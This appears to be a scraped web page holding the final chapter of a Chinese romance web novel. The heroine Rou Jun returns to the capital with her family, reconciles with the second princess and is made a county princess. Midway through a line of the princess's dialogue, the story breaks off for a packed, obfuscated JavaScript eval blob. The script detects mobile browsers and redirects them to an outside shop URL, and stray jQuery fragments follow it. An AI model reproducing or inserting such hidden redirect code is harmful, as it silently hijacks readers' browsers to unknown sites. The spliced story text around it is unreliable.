文趣网 > 其他小说 > 清欢误 > 44. 大结局·回京
    三年后,京城。

    春末的官道上,两辆马车一前一后缓缓而行。

    前一辆车里坐着一家四口。

    男子约近而立的年纪,一身玄色直裰,料子是上好的杭绸,并未多加装饰,自身的气质便不弯不折已显风骨,怀中抱着尚在襁褓的儿子。

    女子坐在他身侧,半揽着坐在旁边的女儿,神色温婉从容,穿一袭月白色裙装,鬓边簪一支白玉簪,腕上坠了一只水头极好的玉镯,是当年他们在建州成婚之时,国公夫人托人送来的传家物件。

    后一辆车则只靠窗坐着一个青年,二十出头的年纪,面容清俊,眉目间有一种读书人特有的端正而笃定的气韵。

    两辆马车上坐的,正是回京的柔筠一家。

    柔筠已经离开京城八年了。

    两年前在建州,她与裴瑀拜了天地,到今日,日子已是又一番新天地。

    如今裴瑀外放期满,徐庭也要入京参加会试,他们便择好日子一同回来了。

    并非毫不情怯,只是如今的柔筠,早已经拥有了足够应对的底气,可以坦然处理这种情绪。

    马车停在国公府侧门。裴瑀先将儿子女儿抱下了车,又转回头来伸出了手。

    柔筠将手放上去,与他对视了一眼,笑了笑。

    门房看见他们,愣了一下,随即飞快地跑进去通传。

    他们穿过熟悉的回廊和穿堂,来到正厅时,敬国公、国公夫人还有裴瑀的兄嫂都已经在了。

    裴夫人手里捻着佛珠,鬓边已多添了好几缕白发,眉目间那股期盼和忧思却依稀还未尽散。她的目光先是落在二儿子身上,随后是站在他身边的柔筠,最后落到了儿子怀中的襁褓,还有边上亭亭玉立的小姑娘身上。

    “这就是……”裴夫人的声音有些发紧。

    柔筠轻轻摸了摸女儿的发顶,轻声道:“安安,这是祖父祖母,还有伯父伯母。”

    安安抬头看了眼阿娘,见她点头,便大大方方地走上前去,有模有样地福了一个礼,“安安给祖父祖母,伯父伯母请安。”

    裴夫人愣了好一会儿,才伸出手,将安安拉到跟前,上下打量,看着那双像极了儿子小时候的眼睛,眼眶忽然就红了。

    她一把将孙女搂紧怀里,声音哽咽:“好孩子……”

    敬国公裴宏旷原是肃着一张脸站在一边,只是看了半天,到底走过来蹲下身,从袖子里摸出一块糖,递了过去。

    “谢谢祖父。”安安接了糖,很懂事地对着他笑。

    裴宏旷的嘴角抽了又抽,到底没忍住,弯了一下。

    裴瑀回京的消息,没几日便在京城里传开了,说什么的都有。

    “听说了吗?国公府二爷回京了,还带了妻子和孩子,只是那孩子未免也太大了些,看着都七八岁了,裴二爷不是这两年才新婚的吗?”

    “不知道了吧,有人见过这位裴二夫人,听说就是当年裴二爷那个妾室。”

    “什么妾室?人家现在是正头娘子了,明媒正娶的,裴夫人连传家玉镯都给她了。”

    “那又如何?婢女出身,还在外头抛头露面做生意,怎么配得上国公府门第?”

    “配不配的,孩子都生了,裴二爷等了她那么多年始终未娶,你当是闹着玩的?”

    柔筠自然也听到了这些话,面对裴瑀的宽慰,她却只是笑笑了之,“他们说他们的,我过我的,不过是世人总需要些谈资,若是他们因对我好奇能来云嘉记多买些胭脂水粉,那便更好了。”

    她也确实在过好自己的日子。

    回京不到两个月,云嘉记在京城的铺面就开了起来。绸缎茶叶,胭脂水粉,还是那些货品。人们嘴上说着闲话,可云嘉记上好的货品到了手里,还是喜欢得不行。

    柔筠并不跟人争辩,也不多解释,却用自己的方式在京城站稳了自己的脚跟。

    沈扬特意带着夫人来拜访过他们,笑着说他当初就知道总有这么一天,裴瑀这才知道,当初他这好友临走之前,竟还藏了这么一手没告诉他。

    “好啊,抑之。”裴瑀语气悠悠。

    沈扬丝毫不惧,咧唇笑开,话中自有意味:“一报还一报罢了。”

    二人目光对上,相视一笑,气氛便倏然云开雾散。

    其后令柔筠没有想到的,便是还没有等到自己先递拜帖,二公主便主动登门来看她了。

    这些年她们偶有通信,柔筠知道二公主后来放下了前尘,又遇到了门当户对的新驸马,两个人这些年虽然偶有吵闹,但是感情却十分不错,也已有了孩子。

    除此之外,二公主还和她说过,她被她当年的一些话打动,当真开始自己佚名写起自己的话本来,如今在京城也已经小有名气。

    柔筠曾经找来那些话本看过,里头写的专是些女子被负心汉欺骗后,转身自立起来,最后寻到真爱的故事,叫人哭笑不得之余,又颇有些怅然。

    这日柔筠正在后院教女儿识字,丫鬟来报说二公主驾到,她愣了一瞬,随即放下书,牵着女儿往前厅走。还没走到门口,便与身着绯色华裙的赵允灵打了照面。

    八年不见,二公主还是一样的明艳照人,眉宇间那股被爱养出的恣意未减分毫,只是眼底多了一层从前没有的沉稳。

    两人对视了一瞬,一时间谁也没有说话。

    最后还是赵允灵先开了口,语气发紧,带着些别扭:“回来了。”

    柔筠弯了弯唇角,向她行了礼:“殿下万安。”

    赵允灵眼眶酸了酸,眨了眨眼,又恢复了那副天家女儿的傲气。

    “平身吧。”她低下头,看着女主柔筠身侧的小姑娘,蹲下身来,“你就是安安?”

    安安点了点头,咧嘴露出一口小白牙,“公主姨姨好。”

    “姨姨?你倒是会攀亲戚。”赵允灵愣住,随即笑开,伸手把小姑娘捞进怀里。

    大约是如今自己也做了母亲的缘故,见到这样生得水灵灵的小孩,她忍不住就想亲近亲近。

    柔筠站在一旁,看着二公主抱着女儿逗弄的模样,心中也有一角悄然化开了。

    赵允灵在花厅坐了一个时辰,喝了两盏茶,又把柔筠当年走后的许多事略带感慨地回忆了一遍。

    她说起了当年柔筠选择假死的那天,她从未见过那样失魂落魄的裴瑀,他看见那具“尸身”时的表情,她恐怕这辈子都再没法忘掉,当时她惶恐极了。

    后来她听说裴瑀独自在灵堂守了三天,最后不知怎么才振作起来,变得平静。她还以为他是放下了,谁料到后来那么些年他竟然一直没有娶妻,妾也不纳了,把自己活成了京中有名的孤家寡人。

    她一开始不能理解他怎么会对一个相处不长的妾室有这么深的感情,后来从柔筠处得知了他们的过往,这才回过味来。

    因着前前后后各种事,她对裴瑀有所愧疚,于是仕途方面对他多有帮助,只是没想到最后他还是主动请求外放,不想在京城待下去。

    说到这里,赵允灵的声音低了下去:“本宫有时候也会想,本宫真是错得离谱。”

    柔筠握着茶盏的手紧了紧,没有说话。

    这账总是算不清的,许多事情,过去也便就过去了。

    赵允灵其实也没有要她回应的意思,端起茶盏喝了一口,换了话题:“皇祖母听说你回来了,也问了我好几回。”

    柔筠的神情微微一顿,“太后娘娘……”

    当年二公主和裴瑀的婚事最后没成,太后其实也是有过诸多猜测的,因而对于柔筠的事,心中总还是存了个疙瘩。

    “本宫没再瞒着了。”赵允灵看着柔筠,姿态比起多年前常有的瞻前顾后,更为坦荡了许多,“皇祖母又问起来,本宫便说了,当年的事,都是本宫逼你,你不过都只是被动受着罢了。”

    柔筠愣住。她的确没有想到,二公主如今竟然主动将这些事说了出来,当年的事本是二公主心中最害怕被触碰的秘密,可如今她能这般说出来,竟也是已然放下了,甚至主动替一个无足轻重的她揽过了责任。

    果然大家都在改变,时光堆叠,心随境转,许多事情都已经沧海桑田。

    “皇祖母骂了本宫一顿,”赵允灵说起这个的时候,语气轻描淡写,只眼底还有一丝不易察觉的心虚,“皇祖母说本宫不像话,骂了本宫一顿,却又说知道是本宫的错,可说到底也是她宠出来的。”

    其实柔筠心里明白,太后骂的或许只是二公主行事的莽撞,而并非对自己的宽和,但能不迁怒于一个微不足道的她,实则也已是不易。

    “皇祖母还说,”赵允

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910416|208837||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    灵看着柔筠,目光里有几分认真,“你如今是官家夫人了,清清白白的正头娘子,外头那些闲话不该你受着,是以——”

    她顿了顿,唇角弯起一个带着几分得意的弧度。

    “皇祖母替你请封了县主。”

    柔筠手中的茶盏险些没端住。

    ……

    消息传开的时候,整个京城都震了三震。

    县主虽说只是个虚衔,没有封地实权,可那是太后亲自开口请封的,是皇室对一个人的认可和庇护。说句不好听的,从今往后,谁要是再敢没事嚼柔筠的舌根,那就不只是得罪国公府的事了,是跟太后过不去,跟皇室过不去。

    有些原本准备看好戏的人,一夜之间换了嘴脸。

    从前说她“婢女出身配不上国公府门第”的人,如今说“太后亲封的县主,那是几辈子修来的福分”,从前议论她“在外面抛头露面不成体统”的人,如今却赞她“巾帼不让须眉,到底是县主的气度”,风向变得比风还快。

    至于究竟还有没有私底下悄悄议论的人……早已经不必再去在意了。

    柔筠坐在自家院子的丁香树下,手里捏着那道册封的旨意,看了很久。

    即便她如今觉得自己值得许多美好,她也的确从来没有想过,自己会有一天能够被请封县主。她知道这不是因为她做了什么了不得的事,而是因为太后或许出于对孙女的维护和对她些许的愧疚,才想替她撑一撑腰,堵一堵那些闲人的嘴。

    可那又如何呢,世上所有的善意本就都值得被记在心底,无论其最初是何动机。

    这一年徐庭也参加了会试,考得比先生预料的还要好些,竟不是来走个过场,反而一举得中,得了同进士出身,之后留京候缺,被分到了翰林院做庶吉士。

    虽说品级不高,可翰林院是清贵之地,于他往后之仕途多有裨益,徐庭在那里待了几个月,学问长进不少,人也更加有些不同的沉稳了。

    然而在他心中,最挂念的还是家人的喜乐。

    有一回他休沐来看柔筠,陪她带两个孩子一起玩时,站在边上看了一会儿,忽然道:“阿姐,你现在比从前开心了。”

    “是吗?”柔筠摸了摸自己的脸,笑了一下。

    徐庭认真地点头,“从前阿姐笑的时候,总觉得像是笑容过后便会发生什么似的,但如今已没有了。”

    柔筠看着他,沉默了一瞬。

    “抱歉,阿庭,让你担心了。”这是对从前的道歉。

    说罢,她又重新露出笑意,伸手拍了拍他的肩,“我们阿庭如今已能顶天立地了。”

    徐庭先是摇了摇头,复又露出笑容,珍而重之地将姐姐这一刻的笑容存在心中。

    时候不早,徐庭便回去了。

    柔筠转回廊下时,忽然被人从背后揽入怀中。

    熟悉的气息涌入鼻腔,她放松下来,任由自己放松了力道,靠在了身后的人怀中,轻声问:“今日怎的回来得这样晚?”

    裴瑀侧过头,轻轻在妻子额际落下了一个吻。

    “绕了些路。”他语气柔和,抬手将另一只手转到了二人面前,露出了手中拿着的东西。

    竟是两支糖画,一支小兔,一支小牛。

    柔筠先是一怔,反应了片刻,忽而噗嗤一声浅浅笑开,从他手中接过了糖画。

    “都多大了,还拿着这东西走在府里,没得叫父亲母亲瞧见了笑话。”她盈盈笑着,眸底却并无什么责怪之意,只问,“你特意去买的?”

    “这不一样。”裴瑀抬手替她抿了抿鬓发后,仍将她揽着,目光遥遥落在院中的丁香树上,先回应的是她关于年纪的话,“倘若父亲能有这番心意,母亲必然也是欢喜的……我只是忽然想起这个,去了一看,那个买糖画的老伯竟还在那里,于是便做了两个回来。”

    解释了原委,裴瑀的语气却还是有些不确定,低头询问:“你可喜欢?”

    日光从树叶的缝隙里漏下来,散落在他们身上,像是细碎的金箔,为此刻的气氛平添几分暖色。

    “很喜欢。”柔筠低头看着手中的糖画,声音很低,却很没有半分迟疑。

    她很喜欢,很喜欢。

    无论是他。

    还是她的过去、当下、以及尚未得见的未来。